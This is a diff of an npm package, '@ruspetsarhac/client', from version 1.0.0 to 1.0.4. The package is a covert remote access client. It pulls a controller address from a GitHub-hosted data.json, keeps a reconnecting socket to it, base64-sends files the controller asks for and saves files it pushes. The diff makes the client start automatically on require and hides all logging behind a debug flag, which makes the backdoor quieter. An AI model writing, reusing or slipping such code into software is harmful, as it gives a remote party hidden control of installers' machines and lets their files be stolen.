@ruspetsarhac/client 1.0.0 → 1.0.4

package/index.js

@@ -0,0 +1,3 @@
+const { startClient } = require("./src/client");
+
+startClient()

package/package.json

@@ -1,14 +1,14 @@
 {
     "name": "@ruspetsarhac/client",
-    "version": "1.0.0",
-    "main": "client.js",
+    "version": "1.0.4",
+    "main": "src/client.js",
     "bin": {
-      "client": "./client.js"
+        "client": "./client.js"
     },
     "scripts": {
-        "build": "pkg client.js --targets node14-win-x64 --output client.exe"
+        "build": "pkg client.js --targets node14-win-x64 --output client.exe",
+        "pub": "git add . && git commit -m \"Updates\" && npm version patch && npm publish"
     },
     "author": "spetsar",
     "license": "ISC"
-  }
-  
+}

package/{client.js → src/client.js}

@@ -1,3 +1,4 @@
+// src/index.js
 const net = require('net');
 const { exec } = require('child_process');
 const path = require('path');
@@ -11,7 +12,7 @@ let isConnected = false;
 let serverHost = '';
 let serverPort = 0;
 
-function fetchServerSettings(callback) {
+function fetchServerSettings(callback, debug) {
     const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
     https.get(url, (res) => {
         let data = '';
@@ -23,7 +24,7 @@ function fetchServerSettings(callback) {
         res.on('end', () => {
             try {
                 const serverSettings = JSON.parse(data);
-                console.log('serverSettings',serverSettings)
+                log(`serverSettings: ${JSON.stringify(serverSettings)}`, debug);
                 serverHost = serverSettings.host;
                 serverPort = serverSettings.port;
                 callback(null);
@@ -37,10 +38,10 @@ function fetchServerSettings(callback) {
     });
 }
 
-function createConnection() {
+function createConnection(debug) {
     const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
         isConnected = true;
-        console.log('Connected to server');
+        log('Connected to server', debug);
     });
 
     socket.on('data', (data) => {
@@ -80,7 +81,7 @@ function createConnection() {
                 if (err) {
                     socket.write(`Error reading file: ${err.message}`);
                 } else {
-                    const base64Data = data.toString('base64'); 
+                    const base64Data = data.toString('base64');
                     socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
                 }
             });
@@ -90,57 +91,67 @@ function createConnection() {
             const fullPath = path.resolve(currentCwd, path.basename(filePath));
             fs.writeFile(fullPath, fileBuffer, (err) => {
                 if (err) {
-                    console.log(`Error saving file: ${err.message}`);
+                    log(`Error saving file: ${err.message}`, debug);
                 } else {
-                    console.log(`File saved as: ${fullPath}`);
+                    log(`File saved as: ${fullPath}`, debug);
                 }
             });
         } else {
-            console.log(`[Server]: ${message}`);
+            log(`[Server]: ${message}`, debug);
         }
     });
 
     socket.on('end', () => {
         isConnected = false;
-        console.log('Connection was ended');
+        log('Connection was ended', debug);
     });
 
     socket.on('error', (err) => {
         isConnected = false;
-        console.log(`[!] Error: ${err.message}`);
+        log(`[!] Error: ${err.message}`, debug);
     });
 
     socket.on('close', () => {
         isConnected = false;
-        console.log('Connection closed');
+        log('Connection closed', debug);
     });
 
     return socket;
 }
 
-let socket = createConnection();
-
-setInterval(() => {
-    if (!isConnected) {
-        console.log('Attempting to reconnect to the server...');
-        socket = createConnection();
-    }
-}, 60000);
-
-fetchServerSettings((error) => {
-    if (error) {
-        console.error(`Error fetching server settings: ${error.message}`);
-    } else {
-        console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
-    }
-});
-
-setInterval(() => {
+function startClient(debug = false) {
     fetchServerSettings((error) => {
         if (error) {
-            console.error(`Error fetching server settings: ${error.message}`);
+            log(`Error fetching server settings: ${error.message}`, debug);
         } else {
-            console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
+            log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
+            serverPort = serverPort;
+            let socket = createConnection(debug);
+
+            setInterval(() => {
+                if (!isConnected) {
+                    log('Attempting to reconnect to the server...', debug);
+                    socket = createConnection(debug);
+                }
+            }, 60000);
+
+            setInterval(() => {
+                fetchServerSettings((error) => {
+                    if (error) {
+                        log(`Error fetching server settings: ${error.message}`, debug);
+                    } else {
+                        log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
+                    }
+                }, debug);
+            }, 300000);
         }
-    });
-}, 300000); 
+    }, debug);
+}
+
+function log(message, debug) {
+    if (debug) {
+        console.log(message);
+    }
+}
+
+module.exports = { startClient };